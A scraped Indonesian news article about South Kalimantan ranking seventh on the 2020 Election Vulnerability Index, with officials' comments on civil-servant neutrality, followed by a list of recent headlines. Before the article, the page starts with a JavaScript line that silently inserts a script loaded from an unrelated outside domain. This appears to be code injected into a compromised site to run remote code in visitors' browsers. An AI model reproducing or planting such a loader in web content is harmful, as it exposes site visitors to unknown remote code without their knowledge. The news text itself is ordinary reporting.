(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Politik

Indeks Kerawanan Pemilu di Kalsel Peringkat 7, Ini Komentar Ketua KPU dan Gubernur Kalsel


KANALKALIMANTAN.COM, BANJARMASIN – Provinsi Kalsel menduduki peringkat ke 7 dari 9 provinsi dengan Indeks Kerawanan Pemilu (IKP) yang cukup tinggi. Kondisi itu disorot Ketua KPU Provinsi Kalsel Sarmuji. Menurutnya, rilis IKP dari Bawaslu RI ini akan menjadi catatan bagi KPU Provinsi Kalsel dalam rangka mengurangi bahkan menghilangkan kerawanan itu.

“Semua Pilkada itu ada kerawanannya. Cuma, tingkat kerawanannya (berbeda), apakah ringan, sedang atau berat,” kata Sarmuji kepada awak media, Rabu (11/3/2020) siang. Disinggung soal salah satu indikator IKP yaitu netralitas ASN, Sarmuji mengakui masih ada tarik menarik. Namun demikian, sesuai apa yang disampaikan Gubernur Kalsel H Sahbirin Noor, ASN itu harus netral. “KPU sebagai pihak penerima pencalonan. Jadi ASN dalam posisi saat ini tarik menarik,” ungkap Sarmuji.

“KPU tentu senang dengan komitmen gubernur kita bahwa ASN yang selalu ditarik-tarik ini dalam proses kampanye bisa secara diam-diam atau terang-terangan mendukung pasangan calon. Ini tentu melanggar kode etik ASN,” tambahnya. Pada kesempatan yang sama, Gubernur Kalsel H Sahbirin Noor menegaskan ASN harus netral dalam Pilkada 2020 mendatang. “Jangan anda mendukung saya tetapi melanggar aturan,” tegas Paman Birin. Seperti diketahui, netralitas ASN menjadi salah satu bagian penting dalam IKP. Di samping adanya mahar politik terhadap partai politik dan money politic.

Baca juga : Bawaslu Rilis Indeks Kerawanan Pemilu,  Pilkada Kotabaru dan Banjarmasin Tertinggi di Kalsel

Ketua Bawaslu Provinsi Kalsel Erna Kaspiyah mengatakan, penilaian IKP diambil pada Pilkada yang diselenggarakan sebelumnya. Sehingga, data yang tertuang dalam IKP itu berdasarkan data Pemilu dan Pilkada sebelumnya.

“Apakah terbaca soal calon perseorangan yang banyak saat ini atau tidak, kalau pemilu sebelumnya tidak memuat itu maka tidak masuk penilaian saat ini,” ucap Erna.

Sehingga, Bawaslu Provinsi Kalsel berupaya memprioritaskan untuk dapat mencegah kerawanan pemilu di daerah yang diindikasikan rawan tinggi. (kanalkalimantan.com/fikri)

 

Reporter : Fikri
Editor : Bie

 


Desy Arfianty

Recent Posts

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

2 jam ago

Cek Pelayanan Kesehatan Berjalan Optimal, Bupati Wiyatno Audiensi ke RSUD Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno melakukan kunjungan kerja sekaligus audiensi dengan… Read More

6 jam ago

67 Ribu Warga Tak Lagi Ditanggung BPJS Kesehatan, Pemko Banjarmasin Upayakan Pengaktifan Kembali

KANALKALIMANTAN.COM, BANJARMASIN — Masyarakat di Kota Banjarmasin sangat terpukul dengan kebijakan penonaktifan massal kepesertaan BPJS… Read More

22 jam ago

Janji Wali Kota Yamin Tertibkan Bangunan di Atas Sungai

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin, H Muhammad Yamin HR menyoroti bangunan yang berdiri di… Read More

23 jam ago

MAFINDO Kalsel Bekali Guru di Banjarmasin Memahami Teknologi Kecerdasan Buatan

KANALKALIMANTAN.COM, BANJARMASIN - Membuka tahun 2026, Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan (Kalsel) menggelar… Read More

23 jam ago

Pengelolaan UNESCO Global Geopark Meratus Diperkuat

Saat ini Ada 17 Situs Geologi Utama, 50 Titik Potensial Masih Dikaji Read More

1 hari ago

This website uses cookies.